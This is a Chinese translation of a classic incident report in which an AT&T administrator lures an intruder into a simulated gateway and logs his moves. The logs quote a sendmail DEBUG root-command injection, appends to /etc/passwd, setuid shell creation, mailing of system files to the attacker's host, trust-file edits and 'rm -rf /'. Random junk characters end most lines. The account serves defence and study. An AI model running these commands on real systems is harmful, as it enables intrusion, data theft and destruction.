在1991年1月7号,一个黑客,他确信自己发现了我们的Internet网关计算机的sendmail的一个DUBUG漏洞的黑客,试图获得我们的password文件,我“送”给他了一份。4 ~$ i5 Y' ?/ h' l& s% f
在几个月中,我们引诱这名黑客作各种快乐的尝试,以便于我们发现他的位置和使用的破解技术。这篇文章是对该黑客的“成功”和失败,我们使用的诱饵和陷阱的详细记录 }6 v8 }2 `* E( N. I c
我们的结论是我们所遇到的这个黑客拥有大量的时间,固执异常,并持有一份优秀的系统漏洞列表。一旦他获得了系统的一个正式注册身份,使用那些漏洞他可以轻易的攻破uucp和bin帐号,然后是root。我们的黑客对军事目标和可以帮助他中转其连接的新机器很感兴趣。
8 B; V1 L6 g, S, L- L4 W简介
0 X4 N( o$ o4 U. A4 c3 C我们的安全Internet网关是1990年1月开始使用的。对于这个整个城堡的大门,我想知道它所可能遭到的攻击会有多么频繁。我明白Internet上有一些喜欢使用“暴力”的人,那么他们是谁?他们会攻击什么地方?会多么频繁?他们经常尝试系统的那些漏洞?
$ B4 a! C8 C" T8 p6 F事实上,他们没有对AT&T作出破坏,甚至很少光顾我们的这扇大门,那么,最终的乐趣只有如此,引诱一个黑客到一个我们设计好的环境中,记录下来他的所有动作,研究其行为,并提醒他的下一个目标作出防范。& ]* x% Q- [! B x3 U: {; d
大多数Internet上的工作站很少提供工具来作这些事情,商业系统检测并报告一些问题,但是它们忽略了很多我们想要的东西。我们的网关每天产生10兆的日志文件。但人们对于日志记录以外的服务的攻击呢?
. Y9 c; Q# l' k! Q: e7 i我们添加了一些虚假的服务在系统上,同时我编写了一个script文件用来检索每天的日志。我们检查以下几点:
! ^+ ]8 s, Q" L2 l5 E* ~FTP :检索的工具会报告每天所有注册和试图注册的用户名。它还会报告用户对tilde的使用(这是个老版本的ftp的漏洞)、所有对ftp目录的/etc/passwd和/etc/group的存取以及对pub目录下完整文件列表的获取。获取passwd的人通常用它来获得系统的正式用户的注册名称,然后攻击、破解其密码。有时有些系统的管理员会将系统的真实passwd文件放在ftp的/etc目录下,我们伪造了一个passwd文件,它的密码被破解后是“why are you wasting your time.”/ }4 H' O) w) |
Telnet / login :所有试图login的动作都被记录了下来。这很容易就可以看出有些人在尝试很多帐号,或强力攻击某一个帐号。因为我们这个Internet的大门除了“警卫”外没有什么别的用户,很容易就可以找到问题所在。 P9 _! c" E E9 ~# d2 I+ `
Guest / visitor 帐号:黑客们第一个寻找的就是公用帐号。这些帐号提供了友好的,最轻易的获取几乎系统的所有文件的机会,包括passwd文件。黑客也可以通过获取/etc/hosts.equiv文件或每个用户的.rhosts文件来获得机器的信任主机列表。我们对于这些帐号的login script文件是这样编写的:
h9 R- |' k) Oexec 2>/dev/null # ensure that stderr doesn't appear
+ G. r2 b+ f* J6 g) ?% D: u% Ltrap "" 1; ^6 K' a- V8 n" f" Q! k+ `# D
/bin/echo
) P% v- T# y, J$ s2 B( /bin/echo "Attempt to login to inet with $LOGNAME from $CALLER" |
1 @% ?- _- [+ M% q5 xupasname=adm /bin/mail ches dangelo &% l; {+ Q3 S7 h- F7 b4 ]
# (notify calling machine's administrator for some machines...)* P4 i$ W) ~; \2 q& q* t& \
# (finger the calling machine...)
; T6 F2 X) D: M) 2>&1 | mail ches dangelo: }7 H% `( e. W" d
/bin/echo "/tmp full"7 {3 e( G# `+ J5 z+ h2 F; l$ ^" e, X! J
sleep 5 # I love to make them wait....6 {0 P5 e6 s3 M* g# d! z
/bin/echo "/tmp full"; S2 Y7 b- V% d1 K
/bin/echo "/tmp full"1 \: J( q/ u: B8 f' N
/bin/echo! T1 R6 U$ P+ T. ~7 V0 v
sleep 60 # ... and simulating a busy machine is useful2 O3 M! N1 K2 L: X: S' Y
我们必须小心以便不让调用者看到系统的标志出错信息(如果一旦我们编写的script有误)。注意$CALLER是在另一端的主机或IP地址。通过修改telnetd或login,它将可以通过环境变量来获取。
8 W Y/ x% `( M& X8 f: V( y) ]SMTP DEBUG : 这个命令提供了两个守候sendmail的漏洞的陷阱。虽然几乎所有的产品出售商都清除了这个漏洞,但偶尔仍有黑客尝试它。这个漏洞允许外部的使用者使用一段以root权限执行的script。当有些人尝试这个漏洞时,我就获得了他尝试的script代码。
& t# @6 G/ o# F+ n- g: @6 bFinger :Finger提供了大量有用的信息给黑客:帐号名,该帐号的最后一次使用时间,以及一些可以用来猜测密码的信息。由于我们的组织不允许提供这些信息给别人,我们置入了一个程序,在finger了fingerd的调用者后拒绝figner请求。(当然我们会避免对来自自己的finger信息的死循环)。报告表明每天有数以十计的finger请求,其中大部分是合法的。3 ?8 T( g# I& y
Rlogin / rsh :这些命令都是基于一些无条件信任的系统,我们的机器并不支持。但我们会finger使用这些命令的用户,并将他的尝试和用户信息等生成报告。
$ @/ K5 ^4 x) l3 I+ G上述很多探测器都使用figner命令来查明调用的机器和使用者。% q2 v+ _. ^7 H+ g: i5 o
当一个尝试显示为有不合法企图时,我就发出这样一条消息:
. \) X. K7 o/ G3 Rinetfans postmaster@sdsu.edu
1 Y6 c, p% q* k2 AYesterday someone from math.sdsu.edu fetched the /etc/passwd file
% a$ v/ O! j/ H* M. Wfrom our FTP directory. The file is not important, but these probes
4 d0 P8 c, n) |1 z- s& F2 oare sometimes performed from stolen accounts.5 D( \7 l9 t5 V) i0 N& I
Just thought you'd like to know.- Z$ |0 A% s( P0 ]. ]
Bill Cheswick
1 T. t# [+ Y. @% g这是一个典型的信件,它被发往“inetfans”,这些人属于计算机紧急响应小组(Computer Emergency Response Team , CERT)、某些兴趣小组或对某些站点感兴趣的人。" I: ?6 F. ~; v3 [1 d0 I! T$ K
很多系统管理员很重视这些报告,尤其是军事站点。通常,系统管理员在解决这些问题上都非常合作。对这些信件的反应包括道歉,拒绝信件,关闭帐号以及沉默等等。当一个站点开来愿意支持黑客们的活动时,我们会考虑拒收来自该站的所有信息包。' Q0 ?6 }+ t) G& C5 w( B5 R
不友好的行动9 e# M5 X4 z2 Z
我们从1990年1月设置好这些探测器。统计表明被攻击率在每年学校的假期期间会上升。我们的被攻击率可能比其他站点高,因为我们是广为人知的,并被认为是“电话公司”。/ Q; ?2 ~3 G! f# B1 h5 A& {
当一个远程使用者取走passwd文件时,并不是所有的人都出于恶意的目的。有时他们只是想看看是否传输能正常工作。
& z9 U' {" v+ k' \2 _19:43:10 smtpd[27466]: <--- 220 inet.att.com SMTP
: R" K' H: T; ]" e2 {19:43:14 smtpd[27466]: -------> debug
! q R9 @6 n. G" l/ ~* e19:43:14 smtpd[27466]: DEBUG attempt
, {* b/ K! ^5 J% N( g R19:43:14 smtpd[27466]: <--- 200 OK
/ ~9 \0 \$ E% {+ F9 g# Q) W% @19:43:25 smtpd[27466]: -------> mail from:
1 E! I9 J# Z7 o% j8 P# t8 f19:43:25 smtpd[27466]: <--- 503 Expecting HELO; X& S5 k% n# M& {
19:43:34 smtpd[27466]: -------> helo, V% _3 |/ `, R3 N" b) g) v: z2 G: O
19:43:34 smtpd[27466]: HELO from% p+ Y+ j2 ], K" h
19:43:34 smtpd[27466]: <--- 250 inet.att.com9 y5 ~+ v; {3 Z- \! X+ f1 g$ q8 ?
19:43:42 smtpd[27466]: -------> mail from:
- V$ `9 |1 J- e% x6 `19:43:42 smtpd[27466]: <--- 250 OK# B% {; f2 F/ q0 J
19:43:59 smtpd[27466]: -------> rcpt to: 19:43:59 smtpd[27466]: <--- 501 Syntax error in recipient name
& e" A; q3 V4 _) L19:44:44 smtpd[27466]: -------> rcpt to:<|sed -e '1,/?$/'d | /bin/sh ; exit 0">2 E3 {$ z0 Y. S$ z
19:44:44 smtpd[27466]: shell characters: |sed -e '1,/?$/'d | /bin/sh ; exit 0"* E1 q G# `" R7 |, p
19:44:45 smtpd[27466]: <--- 250 OK
|! `" @0 U$ D% J0 n$ d2 v1 K19:44:48 smtpd[27466]: -------> data
0 p q7 D/ _0 A2 y+ f% }19:44:48 smtpd[27466]: <--- 354 Start mail input; end with .
, U* r( W6 P W4 g19:45:04 smtpd[27466]: <--- 250 OK
$ {2 U$ i' M% [4 X# S$ W19:45:04 smtpd[27466]: /dev/null sent 48 bytes to upas.security5 X4 i- K Z0 y& x
19:45:08 smtpd[27466]: -------> quit. m# d" D; Q! O( {" Q
19:45:08 smtpd[27466]: <--- 221 inet.att.com Terminating
- k: b# ]- x. b, u: i4 x19:45:08 smtpd[27466]: finished. ^; C D/ ?7 W' C
这是我们对SMTP过程的日志。这些看来很神秘的日志通常是有两个邮件发送器来相互对话的。在这个例子中,另一端是由人来键入命令。他尝试的第一个命令是DEBUG。当他接收的“250 OK”的回应时一定很惊奇。关键的行是“rcpt to :”。在尖括号括起的部分通常是一个邮件接收器的地址。这里它包含了一个命令行。Sendmail在DEBUG模式下用它来以ROOT身份执行一段命令。即:6 b6 ?5 ]* h' W
sed -e '1,/?$/'d | /bin/sh ; exit 0"
/ b5 S6 h+ a0 s4 _' Z/ ~它剥去了邮件头,并使用ROOT身份执行了消息体。这段消息邮寄给了我,这是我记录下来的,包含时间戳:
# _2 V, c) N0 o% \: u& a19:45 mail adrian@embezzle.stanford.edu 19:51 mail adrian@embezzle.stanford.edu 他希望我们邮寄给他一份我们的passwd文件。大概用来运行一些passwd破解程序。所有这些探测结果都来自EMBEZZLE.STANFORD.EDU的一个adrian用户。他在美国空袭伊拉克半个小时后公然作出敌意反应。我怀疑是萨达姆雇佣了一两个黑客。我恰巧在ftp的目录下有一个假的passwd文件,就用root身份给Stanford发了过去。
0 Z! Z2 {- R g5 l3 V& |9 K第二个早晨,我听到了来自Stanford的消息:他们知道了这件事,并正在发现问题所在。他们说adrian这个帐号被盗用了。0 g6 O( g) ?/ ^7 s/ ^8 B. r
接着的一个星期天我接到了从法国发来的一封信:
; I2 g; p" O* {: cTo: root@research.att.com* }+ @5 a+ g# r' {+ q0 u! ~
Subject: intruder
/ A9 T6 `, q) c m1 G, bDate: Sun, 20 Jan 91 15:02:53 +0100; |$ t; m8 S$ k B
I have just closed an account on my machine% `- q5 G/ k' W2 Z- \: g4 z
which has been broken by an intruder coming from embezzle.stanford.edu. He
) q' w; \& D8 f! p(she) has left a file called passwd. The contents are:
, t. Y0 c0 ]' j1 A( Q$ y------------>
, h* f( g j* ~0 K5 R( CFrom root@research.att.com Tue Jan 15 18:49:13 19911 i3 R- h+ h2 \# u4 ]
Received: from research.att.com by embezzle.Stanford.EDU (5.61/4.7);5 R, |/ L6 k- E2 y4 B
Tue, 15 Jan 91 18:49:12 -0800
/ U e, j; p% d; g4 {; P8 IMessage-Id: <9101160249.AA26092@embezzle.Stanford.EDU>0 \# U! G. j$ b4 @8 t0 i* W0 H
From: root@research.att.com+ ]. @% R* ^5 @+ v: s$ }+ Q
Date: Tue, 15 Jan 91 21:48 EST
5 V k( L7 p. Q( i+ t+ F8 }To: adrian@embezzle.stanford.edu$ g/ j* j# y4 d5 N: Z% g
Root: mgajqD9nOAVDw:0:2:0000-Admin(0000):/:7 D2 O4 H# E8 Z! g! ?
Daemon: *:1:1:0000-Admin(0000):/:/ b- t- g$ M& T0 B# o9 \2 a2 y
Bin: *:2:2:0000-Admin(0000):/bin:
( N/ n; J! o. h! i+ \Sys: *:3:3:0000-Admin(0000):/usr/v9/src:
" ^7 z# k |7 @' g- R' y% BAdm: *:4:4:0000-Admin(0000):/usr/adm:& e6 K0 ?- N* I
Uucp: *:5:5:0000-uucp(0000):/usr/lib/uucp:/ R6 x' ?5 y1 \. v7 y% k
Nuucp: *:10:10:0000-uucp(0000):/usr/spool/uucppublic:/usr/lib/uucp/uucico
% b$ v8 Q8 d* M0 n& IFtp: anonymous:71:14:file transfer:/:no soap
& y" g ~# a, v+ H6 I: ^( |' RChes: j2PPWsiVal..Q:200:1:me:/u/ches:/bin/sh
1 a5 P2 u3 @" |) x0 X% G/ @# ~Dmr: a98tVGlT7GiaM:202:1:Dennis:/u/dmr:/bin/sh
5 w5 R" \( c5 J' n. ]1 IRtm: 5bHD/k5k2mTTs:203:1:Rob:/u/rtm:/bin/sh& J* B! T% h4 ?5 J3 J5 a! X2 A3 `* n
Berferd: deJCw4bQcNT3Y:204:1:Fred:/u/berferd:/bin/sh$ O. T9 ?0 B' l. J" l
Td: PXJ.d9CgZ9DmA:206:1:Tom:/u/td:/bin/sh
9 ]) C4 c9 R7 v( {, C% E0 y- hStatus: R
5 M, t& _1 W% O" ~; m( r$ g* i------------Please let me know if you heard of him., k0 _2 a4 X) n& t7 n
陪伴Berferd的一个夜晚
: }+ N( f1 J" Q$ u8 P- R& l$ d1月20号,星期天晚上,我的终端报告有安全敏感事件。
# l: d* b- i' r22:33 finger attempt on berferd5 Y1 G) }3 h0 b5 K* P+ J* \! |- a2 ]0 X
几分钟后,有人试图使用DEBUG来用ROOT身份执行命令,他试图修改我们的passwd文件!$ @* g) y5 L+ V1 K; B; Z- o5 v' p
22:36 echo "beferdd::300:1:maybe Beferd:/:/bin/sh" >>/etc/passwd2 K8 P% E( a- {0 ?) P
cp /bin/sh /tmp/shell
* N6 S/ ~/ H# g8 e# wchmod 4755 /tmp/shell
0 w' m" }" C) f6 X; g$ ~连接同样来自EMBEZZLE.STANFORD.EDU。& L: U9 x9 w8 ?' S5 g; B
我该怎么作呢?我不希望他真的能获得一个网关的帐号,为什么引狼入室呢?那样我将得不到他的键盘活动。# _5 T; L5 t3 t4 x1 H# O
我应该继续看看他关注的其他事情,或许我可以手工模拟一下操作系统,这意味着我必须让他以为机器速度很慢,因为我无法和MIPS M/120相比。同时意味着我必须模拟一个一致的操作系统。" Z( t" i. v. z* o9 I2 K% }! K
我已经有一个要求了,因为他已经持有了一份passwd。% w1 H' G5 d" ]& N: a# d7 z
决定一:ftp的passwd是一个真实的passwd。
+ L, H) K L; O @' l+ S还有另外的两个:
0 |, J. q* D2 ?决定二:网关机器管理极差。(有DEBUG漏洞,ftp目录里有passwd)。
4 P4 G! N/ u0 M* \9 F Z) l" @决定三:网关机器极慢。
' X( H1 d2 ]+ P" K5 g- `9 I2 c5 W因此我决定让他以为他已经改变了passwd文件,但却不急于让他进来。我必须生成一个帐号,但却使它不可操作。我应该怎么办?% S0 I8 d# U) }4 ^' V
决定四:我的shell并没有放在/bin下,它放在其他地方。这样,他进来后(让他认为passwd已经改动了),没有可运行的shell。
& X" N# \% n( {& U3 S这个决定很愚蠢,但我不会因此损失任何东西。我写了一个script,生成了一个临时帐号b,当它被调用时它会给我发信,调用者将看到如下信息:
/ h% K* O( M9 u. oRISC/os (inet)! v" R: z3 p1 @
login: b
5 x0 |1 ~. r1 ~7 P6 r) ^7 K" yRISC/os (UMIPS) 4.0 inet
, `/ s* W; i- ?1 ]( wCopyright 1986, MIPS Computer Systems
, f( J, `; G# J2 [6 `1 jAll Rights Reserved; _$ m( n8 x9 C. L
Shell not found. [$ t9 _( a* b6 F/ |0 ~5 B
我把b帐号在实际passwd文件中改成了beferd,当我作完后,他在此尝试:
* ~ w- F _* u9 ]22:41 echo "bferd ::301:1::/:/bin/sh" >> /etc/passwd7 N3 a0 I6 B! I1 Z
他的另一个试图添加到passwd文件的尝试。事实上,在我为bferd完成新的配置之前他开始急躁了:. d4 p, E+ [+ ~% y( y1 d
22:45 talk adrian@embezzle.stand?Hford.edu
: k$ b& r5 _3 V, z% Utalk adrian@embezzle.stanford.edu$ c: H" t% e5 X1 n0 b4 j% C
决定五:我们没有talk这个命令。/ P( Z: O& I: _2 V( [2 q& K
他选择了berferd这个帐号:% }, T+ A* z0 b4 G1 K- h
22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU2 I0 }3 M+ l5 s; Y4 o8 \
22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU
) y$ D+ o4 k% Y# E. U+ `22:49 Attempt to login to inet with bferd from embezzle.Stanford.EDU
6 D. ?. V8 q' z( S22:51 (Notified Stanford of the use of Tip-QuadA.Stanford.EDU)
, ^! j8 F# g5 @4 }# ?22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU' |" i7 W2 u5 N% v# P
22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU( l, p7 e* |' Q3 }0 k
22:55 echo "bfrd ::303:1::/tmp:/bin/sh" >> /etc/passwd
& K$ G3 J, Z8 D& ~22:57 (Added bfrd to the real password file.)
1 w! F% \+ n0 L5 ?22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
* p2 A$ j5 `- m0 F, F7 b. t4 u22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU* C0 l, G" }7 t0 r& s
23:05 echo "36.92.0.205" >/dev/null
/ E! B, y8 w! X4 f. s" s' Techo "36.92.0.205 embezzle.stanford.edu">>/etc./?H?H?H
* i# }( ^+ B+ _% y23:06 Attempt to login to inet with guest from rice-chex.ai.mit.edu0 }1 x5 y$ l( b; O
23:06 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts
0 R1 S Y% s. O5 _1 }23:08 echo "embezzle.stanford.edu adrian">>/tmp/.rhosts
4 l, [1 g% w; M1 R3 N很显然他希望能够rlogin到我们的网关,这需要一些本地文件的特定设置。我们并没有作rlogin的检测。
' M% D6 [% ~1 [这时他又有新的动作:. P0 @, b, Y, T7 j( o; z
23:09 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
6 X; w+ H# W# }% A$ [& d) }9 T23:10 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
3 Q2 Y9 V; ^- {% C& }23:14 mail adrian@embezzle.stanford.edu < /etc/inetd.conf0 c+ |) \- I& C6 {2 E- K( f, o1 L8 {
ps -aux|mail adrian@embezzle.stanford.edu
4 {) r% D8 o0 t% g/ X( @& G4 c+ G在rlogin失败后,他希望能得到我们的inetd.conf文件来查看我们究竟启动了什么服务。我不想让他看到真正的inetd.conf,但伪造一个又非常困难。7 n- Y" M8 t% p* V7 l7 J
决定七:网关机器运行不稳定,时有不确定事件。
+ s0 b1 h$ J$ l1 z% V: g0 E% d" n23:28 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts( N! D6 i$ N3 `, v
echo "embezzle.stanford.edu adrian" >> /tmp/.rhosts2 d/ ^+ v& A- i; e: k7 o% _
ps -aux|mail adrian@embezzle.stanford.edu4 [0 ~; S2 i* M. k% N, t
mail adrian@embezzle.stanford.edu < /etc/inetd.conf
' h) T) B, f" p! o; l- ]' F& Z我不希望他看到ps的结果,幸运的是,他的Berkeley系统的ps命令在我的System V机器上是无效的。4 V* W3 Z3 f" ]. U3 E
这时我通知了CERT,这时一起严重的攻击事件,在Stanford也应该有追踪这些请求的人。这时,活动又转到ftp上来:
# w# p5 O* [& K; s$ mJan 20 23:36:48 inet ftpd[14437]: <--- 220 inet FTP server+ e" }2 x/ t) O$ H- R5 C" S* M3 X
(Version 4.265 Fri Feb 2 13:39:38 EST 1990) ready.
$ J3 A' v0 H) Z7 pJan 20 23:36:55 inet ftpd[14437]: -------> user bfrd?M! K+ a9 s) r( h0 t
Jan 20 23:36:55 inet ftpd[14437]: <--- 331 Password required for bfrd.5 L% o6 G Q9 a$ S9 L
Jan 20 23:37:06 inet ftpd[14437]: -------> pass?M
# F( K) X t6 d- R; r qJan 20 23:37:06 inet ftpd[14437]: <--- 500 'PASS': command not understood.
% y. W( S4 F. j7 q* u* w1 @- |Jan 20 23:37:13 inet ftpd[14437]: -------> pass?M
4 n r: E( Q( m0 Y% C. E7 eJan 20 23:37:13 inet ftpd[14437]: <--- 500 'PASS': command not understood.
2 ]! `5 u8 G# E) k- f# oJan 20 23:37:24 inet ftpd[14437]: -------> HELP?M6 E% d0 I( ^' j+ f
Jan 20 23:37:24 inet ftpd[14437]: <--- 214- The following commands are' J6 _1 m2 P# @; ^
recognized (* =>'s unimplemented).
" }. F' C, P/ f! d1 rJan 20 23:37:24 inet ftpd[14437]: <--- 214 Direct comments to ftp-bugs@inet.
' p+ l `$ S0 I( H3 T# Q$ q. B2 i+ J, }# KJan 20 23:37:31 inet ftpd[14437]: -------> QUIT?M
! x) d7 j- y) y: g7 eJan 20 23:37:31 inet ftpd[14437]: <--- 221 Goodbye.
5 r- F! |+ k$ D: D* [; b* d: L0 XJan 20 23:37:31 inet ftpd[14437]: Logout, status 0* F( J8 p+ K" v7 E
Jan 20 23:37:31 inet inetd[116]: exit 14437
5 l* B; ~9 N- MJan 20 23:37:41 inet inetd[116]: finger request from 36.92.0.205 pid 144544 \7 a+ y! c: ]/ C( @
Jan 20 23:37:41 inet inetd[116]: exit 14454
( @% e3 P# R% Q @23:38 finger attempt on berferd2 ~+ F# M4 h4 ]7 x% @
23:48 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts.equiv
9 x, O9 V4 m& c- o; D* w23:53 mv /usr/etc/fingerd /usr/etc/fingerd.b3 e2 Q) H7 P2 x/ M! e
cp /bin/sh /usr/etc/fingerd
+ k9 K0 U; Y" a q A决定四已经决定了最后一行的尝试必然失败。因此,他只是破坏了我们模拟的机器上的finger而已,并没有将之替换成一个shell程序。我关闭了实际的fingerd程序。) @, g. p, i( O. p
23:57 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
1 h+ S y9 \9 \& y4 `23:58 cp /bin/csh /usr/etc/fingerd
1 D2 `. D, `0 a A- M) p我们模拟的机器上csh并不在/bin下,因此这个命令无效。
# x7 `0 M3 w$ B- B, T3 N+ }& \4 p, F00:07 cp /usr/etc/fingerd.b /usr/etc/fingerd
7 E) e' s2 p* S好吧,fingerd现在重新开始工作。Berferd的恢复工作干的不错。9 G+ X6 O. }1 V/ @4 e5 A6 ?# i) P
00:14 passwd bfrt
/ t4 u; C& ]; k) z9 [& P3 X) tbfrt
9 n4 w0 Z& v a$ U* p& Fbfrt
1 o" {% w" \5 z0 E$ `% v7 L现在他试图修改password,这永远不会成功,因为passwd的输入是/dev/tty,不是sendmail所执行的shell script。2 v* ]& G0 G# K! P! d2 A' D/ F& }" [
00:16 Attempt to login to inet with bfrd from embezzle.Stanford.EDU6 {" r# E, P$ Q6 d4 m' h
00:17 echo "/bin/sh" > /tmp/Shell8 N2 G9 G6 Y* D
chmod 755 /tmp/shell c" N+ X. D m. [' L" i( E7 C7 W; m
chmod 755 /tmp/Shell
2 y* Y9 j4 |( a8 y6 Y. f6 M2 w00:19 chmod 4755 /tmp/shell
) b' w$ @1 Z0 O* I' V00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU0 g2 w8 X( }7 z
00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
, v3 R S8 J) s% ]2 p+ S( f00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
% b/ s: i$ z, p4 G5 J. c00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
7 r- {$ T6 w' d" K# Z o这时我已经很累了。3 m5 ~+ U) J( C1 O7 c
01:55 rm -rf /&
* e7 P. f, D' \% Q% x- \2 j喔!!太狠了!显然机器的状态让他迷惑,他希望能清除所有的痕迹。有些黑客会保护自己所作的工作,声明自己不作任何破坏。我们的黑客对我们感到疲劳了,因此以此结束。
$ L/ S6 O1 P5 Y$ ?0 b他继续工作了几分钟,后来放弃: S [9 k A, o2 k6 A1 X! w2 l
07:12 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
! X5 k6 H) q" I" J! Y% d07:14 rm -rf /&. ` l8 A) f$ o" n8 B' L# k* V
07:17 finger attempt on berferd
4 b% N0 h2 Z& h1 [6 X% X$ M07:19 /bin/rm -rf /&
/ Z6 X9 c( |" |' S/bin/rm -rf /&
; z/ C5 w2 o$ k a07:23 /bin/rm -rf /&9 ?: y$ L6 l0 k
07:25 Attempt to login to inet with bfrd from embezzle.Stanford.EDU0 _$ P. D O1 B% } O
09:41 Attempt to login to inet with bfrd from embezzle.Stanford.EDU2 f7 [% n; S1 B1 a: S& F
|